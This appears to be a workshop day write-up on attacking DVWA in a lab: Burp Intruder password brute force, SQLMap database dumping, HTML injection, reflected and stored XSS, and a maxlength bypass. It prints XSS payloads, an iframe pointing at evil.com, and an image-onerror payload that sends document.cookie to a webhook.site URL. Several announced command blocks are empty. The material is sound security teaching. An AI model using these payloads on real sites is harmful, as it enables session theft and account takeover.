Day 5: Burp Suite Intruder Brute Force, SQLMap Database Dumping, HTML Injection & XSS Cookie Stealing

1. Lab Environment Architecture & Target Setup

Building upon the command injection and CSRF attack vectors explored in Day 4, Day 5 transitioned into advanced automated exploitation and client-side web application vulnerabilities. Instructors Birendra Sah and Bishal Shrestha configured our isolated lab subnet inside Oracle VirtualBox:

• Attacker Workstation: Kali Linux 2026.2 (IP: 192.168.1.x) running Burp Suite Community Proxy, SQLMap, Netcat, and Firefox with FoxyProxy integration.
• Vulnerable Target Server: Metasploitable 2 Linux Server hosting the Apache/PHP web stack at http://192.168.1.146/ (and mirrored at http://192.168.1.141/).
• Core Application: Damn Vulnerable Web Application (DVWA) accessible at:

  http://192.168.1.146/dvwa/

• Default Initial Credentials: Username: admin | Password: password
• External Listener Endpoint: Webhook.site used as an attacker-controlled external HTTP capture listener for live out-of-band XSS exfiltration demonstrations.

2. Web Authentication & DVWA Brute Force Endpoint

The first practical module focused on authentication weaknesses. In many web applications, login interfaces lack rate-limiting, CAPTCHA validation, or account lockouts, leaving them exposed to high-speed credential stuffing or dictionary attacks.

We navigated to the DVWA brute force testing endpoint:

http://192.168.1.146/dvwa/vulnerabilities/brute/

The interface presents a simple HTTP authentication form with two input parameters: username and password. When an invalid credential pair is submitted, the application returns:

<pre><br />Username and/or password incorrect.</pre>

Because this feedback is transmitted over cleartext HTTP and lacks anti-automation controls, it provides a prime candidate for automated password dictionary attacks using Burp Suite Intruder.

3. Burp Suite Intruder: Sniper Attack & Recovery

To crack the password for the admin user systematically, we launched Burp Suite and captured the authentication request inside Burp Proxy:

Step A: Sending Request to Intruder

Right-clicked inside the request window and selected Send to Intruder (shortcut: Ctrl + I).

Step B: Configuring Positions & Attack Type

Under the Positions tab, Burp Suite automatically wraps multiple parameters with payload markers (§). We clicked Clear §, selected the Sniper attack type, and positioned payload markers exclusively around the password value:

GET /dvwa/vulnerabilities/brute/?username=admin&password=§test§&Login=Login HTTP/1.1

Step C: Loading Payloads & Launching Attack

Under the Payloads tab, we set Payload type to Simple list and pasted common passwords (e.g., 123456, admin, root, toor, welcome, password, letmein). We then clicked Start Attack.

Step D: Analyzing Response Length & Status Code

While observing the Intruder attack results table, every incorrect password attempt yielded an HTTP 200 response with a consistent body length (around 4532 bytes) containing the string "Username and/or password incorrect".

However, for the candidate payload password, the response length deviated significantly (e.g. 4580 bytes). Inspecting the response body confirmed the successful authentication indicator:

We verified the recovered credentials by logging into DVWA with admin / password.

4. Automated SQL Injection with SQLMap

Manual SQL injection testing (such as injecting ' OR '1'='1 or UNION SELECT) reveals injection points, but in enterprise penetration testing assessments, automated tools accelerate vulnerability verification and data mapping.

Instructor Birendra Sah introduced us to SQLMap—the world's foremost open-source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over database servers.

We verified the installation and explored the command structure in Kali Linux:

5. Authenticated Probing via Session Cookies

The SQL Injection endpoint on DVWA is located behind authentication:

http://192.168.1.141/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit#

If an ethical hacker runs sqlmap -u "http://192.168.1.141/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit#" directly without credentials, DVWA redirects the request to login.php, causing the scan to fail completely.

To allow SQLMap to authenticate as our logged-in session, we extracted our active session cookie from the browser (or Burp Suite) and supplied it via the --cookie flag:

--cookie="PHPSESSID=ff1bb41c0a0d051dd7bdc0d5c082deb5;security=low"

6. Database & Table Schema Enumeration

With the authentication parameters in place, we executed our first discovery command to extract all accessible database names from the back-end MySQL instance:

SQLMap confirmed that the id parameter was vulnerable to boolean-based blind, error-based, and UNION query SQL injection. We immediately targeted the application database dvwa to extract its table list:

7. Dumping Credentials & Cracking Hashes

The table users was the highest-value target. We instructed SQLMap to dump all records from the users table inside the dvwa database:

SQLMap automatically identified that the passwords were encrypted with unsalted MD5 hashes and cracked 5f4dcc3b5aa765d61d8327deb882cf99 to password instantly using its built-in dictionary lookup. This concluded the database takeover assessment.

8. HTML Injection Mechanics: <b>TheWH2</b>

Next, the workshop transitioned into client-side vulnerabilities, starting with HTML Injection (Hypertext Markup Language Injection).

HTML Injection occurs when an application accepts user-supplied input without sanitization and renders it directly inside the Document Object Model (DOM). While it is often considered a precursor to Cross-Site Scripting (XSS), pure HTML injection does not execute arbitrary JavaScript. Instead, it allows attackers to alter the visual layout, inject fake login dialogs (phishing), or deface web pages.

We tested a basic injection string in the input field:

<b>TheWH2</b>

Rather than outputting the literal string <b>TheWH2</b>, the browser interpreted the tags as raw markup and rendered TheWH2 in bold text. This confirmed that the server failed to apply htmlspecialchars() or context-appropriate character escaping before printing the response.

9. Reflected XSS: <script>alert(1)</script>

Building upon HTML injection, we evaluated Reflected Cross-Site Scripting (XSS) on DVWA at:

http://192.168.1.141/dvwa/vulnerabilities/xss_r/

In Reflected XSS, the injected script is reflected off the web server in an immediate HTTP response (typically via a URL parameter). The script is not stored permanently in the database; it executes only when a victim clicks a maliciously crafted link.

We injected the classic proof-of-concept payload:

<script>alert(1)</script>

The browser immediately executed the JavaScript payload, spawning a popup dialog displaying 1. This confirmed execution of arbitrary client-side code in the context of the user's browser session.

10. Stored XSS & Client-Side Limit Bypass

Unlike Reflected XSS, Stored XSS (Persistent XSS) stores the malicious payload permanently inside the application's backend database (e.g. inside guestbooks, comment sections, or user profile names). Every time any user visits the page, the database retrieves and renders the payload, executing the script automatically on every visitor's browser.

We navigated to the DVWA Guestbook endpoint:

http://192.168.1.141/dvwa/vulnerabilities/xss_s/

The Client-Side Obstacle: Character Limit

When attempting to type our payload into the Name input field, the browser stopped accepting characters after 10 letters. Inspecting the HTML source code revealed a client-side restriction:

<input name="txtName" type="text" size="30" maxlength="10">

The Bypass Technique (Inspect Element)

Client-side restrictions enforced by HTML attributes provide zero true security. An ethical hacker has full control over the client execution environment:

1. Right-clicked the Name input box and selected Inspect Element.
2. Located the attribute maxlength="10" in the DOM tree.
3. Double-clicked the attribute and changed it to maxlength="1000" (or deleted the attribute entirely).
4. Pressed Enter to apply the change in the local DOM.

With the client-side limitation removed, we pasted our full payload, submitted the form, and the payload was written directly to the database. Upon every subsequent page refresh, the stored script executed automatically!

11. iFrame Injection & Webhook.site Session Stealing

While alert(1) confirms vulnerability presence, ethical penetration testers demonstrate real business risk through weaponized Proof-of-Concepts (PoCs), such as UI redressing and Session Hijacking (Account Takeover).

Concept A: iFrame Injection

We demonstrated how injecting an inline frame allows attackers to overlay external malicious content or phishing interfaces seamlessly inside the legitimate web application:

<iframe src="http://evil.com/" width="500" height="300"></iframe>

Concept B: Setting Up External Listener (Webhook.site)

To capture stolen session tokens out-of-band without setting up a dedicated public VPS server, instructors Birendra Sah and Bishal Shrestha introduced Webhook.site. It provides a unique, disposable URL that logs every incoming HTTP request (headers, query parameters, and client IPs) in real-time.

Concept C: Cookie Stealing Payload via Image Object

We constructed an image error-handling payload that dynamically instantiates a JavaScript Image() object and appends the victim's document.cookie as a query parameter to our Webhook URL:

<img src="x" onerror="var img = new Image(); img.src='https://webhook.site/ad18e687-2939-4d4c-9bdd-db9d7b5364cd/?cookie=' + encodeURIComponent(document.cookie);">

Concept D: Instructor's Reflected URL Exploit Demonstration

Instructor Birendra Sah demonstrated how this attack is weaponized against unsuspecting victims via a single URL-encoded link:

12. Defensive Hardening: PDO, Encoding & HttpOnly

Understanding exploitation is only half of an ethical hacker's responsibility. The most crucial component is communicating effective defensive engineering countermeasures to developers and sysadmins:

13. Day 5 Summary & Key Takeaways